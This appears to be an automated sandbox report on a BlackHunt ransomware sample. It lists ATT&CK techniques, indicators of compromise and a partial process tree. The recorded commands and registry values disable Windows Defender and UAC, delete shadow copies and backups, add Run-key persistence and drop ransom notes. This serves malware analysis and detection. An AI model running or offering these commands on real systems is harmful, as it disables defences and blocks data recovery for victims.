b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff

Data Destruction

T1485

pid	Process
7924	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
7940	bcdedit.exe
7956	bcdedit.exe

Renames multiple (522) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7932	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\S:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\T:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\O:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\V:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\Y:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\A:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\J:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\E:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\N:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\M:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\I:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\P:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\G:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\H:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\K:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\R:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\B:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\L:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\Z:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\U:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\X:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened (read-only)	\??\W:	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\meta-index	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\deployment.config	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\local_policy.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\orb.idl	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\webkit.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunec.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\content-types.properties	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\local_policy.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\jmxremote.access	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_fr.properties	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\resources.jar	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_ReadMe.hta	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\mesa3d.md	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
932	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7684	vssadmin.exe
7676	vssadmin.exe
7668	vssadmin.exe
7652	vssadmin.exe
2248	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeRestorePrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeBackupPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeTakeOwnershipPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeAuditPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeSecurityPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeIncBasePriorityPrivilege	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Token: SeBackupPrivilege	4492	vssvc.exe
Token: SeRestorePrivilege	4492	vssvc.exe
Token: SeAuditPrivilege	4492	vssvc.exe
Token: SeBackupPrivilege	5968	wbengine.exe
Token: SeRestorePrivilege	5968	wbengine.exe
Token: SeSecurityPrivilege	5968	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 3440	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	91
PID 3040 wrote to memory of 3440	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	91
PID 3040 wrote to memory of 5080	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	93
PID 3040 wrote to memory of 5080	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	93
PID 3040 wrote to memory of 1640	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	95
PID 3040 wrote to memory of 1640	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	95
PID 3040 wrote to memory of 4996	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	97
PID 3040 wrote to memory of 4996	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	97
PID 3040 wrote to memory of 4484	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	99
PID 3040 wrote to memory of 4484	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	99
PID 3440 wrote to memory of 1396	3440	cmd.exe	101
PID 3440 wrote to memory of 1396	3440	cmd.exe	101
PID 4484 wrote to memory of 3588	4484	cmd.exe	105
PID 4484 wrote to memory of 3588	4484	cmd.exe	105
PID 1640 wrote to memory of 4520	1640	cmd.exe	104
PID 1640 wrote to memory of 4520	1640	cmd.exe	104
PID 4996 wrote to memory of 1748	4996	cmd.exe	102
PID 4996 wrote to memory of 1748	4996	cmd.exe	102
PID 5080 wrote to memory of 3596	5080	cmd.exe	103
PID 5080 wrote to memory of 3596	5080	cmd.exe	103
PID 3040 wrote to memory of 2828	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	107
PID 3040 wrote to memory of 2828	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	107
PID 3040 wrote to memory of 3140	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	109
PID 3040 wrote to memory of 3140	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	109
PID 3040 wrote to memory of 2112	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	111
PID 3040 wrote to memory of 2112	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	111
PID 3040 wrote to memory of 1600	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	113
PID 3040 wrote to memory of 1600	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	113
PID 3040 wrote to memory of 5068	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	115
PID 3040 wrote to memory of 5068	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	115
PID 3040 wrote to memory of 3624	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	116
PID 3040 wrote to memory of 3624	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	116
PID 3040 wrote to memory of 1568	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	119
PID 3040 wrote to memory of 1568	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	119
PID 3040 wrote to memory of 4708	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	121
PID 3040 wrote to memory of 4708	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	121
PID 3040 wrote to memory of 1940	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	122
PID 3040 wrote to memory of 1940	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	122
PID 3040 wrote to memory of 3268	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	125
PID 3040 wrote to memory of 3268	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	125
PID 3040 wrote to memory of 2056	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	123
PID 3040 wrote to memory of 2056	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	123
PID 3040 wrote to memory of 2820	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	129
PID 3040 wrote to memory of 2820	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	129
PID 3040 wrote to memory of 4648	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	131
PID 3040 wrote to memory of 4648	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	131
PID 3040 wrote to memory of 928	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	133
PID 3040 wrote to memory of 928	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	133
PID 3040 wrote to memory of 4292	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	136
PID 3040 wrote to memory of 4292	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	136
PID 1940 wrote to memory of 1592	1940	cmd.exe	135
PID 1940 wrote to memory of 1592	1940	cmd.exe	135
PID 2828 wrote to memory of 728	2828	cmd.exe	138
PID 2828 wrote to memory of 728	2828	cmd.exe	138
PID 3040 wrote to memory of 4992	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	139
PID 3040 wrote to memory of 4992	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	139
PID 3040 wrote to memory of 4420	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	144
PID 3040 wrote to memory of 4420	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	144
PID 3040 wrote to memory of 4400	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	142
PID 3040 wrote to memory of 4400	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	142
PID 3140 wrote to memory of 4504	3140	cmd.exe	143
PID 3140 wrote to memory of 4504	3140	cmd.exe	143
PID 3040 wrote to memory of 872	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	146
PID 3040 wrote to memory of 872	3040	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe
"C:\Users\Admin\AppData\Local\Temp\b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
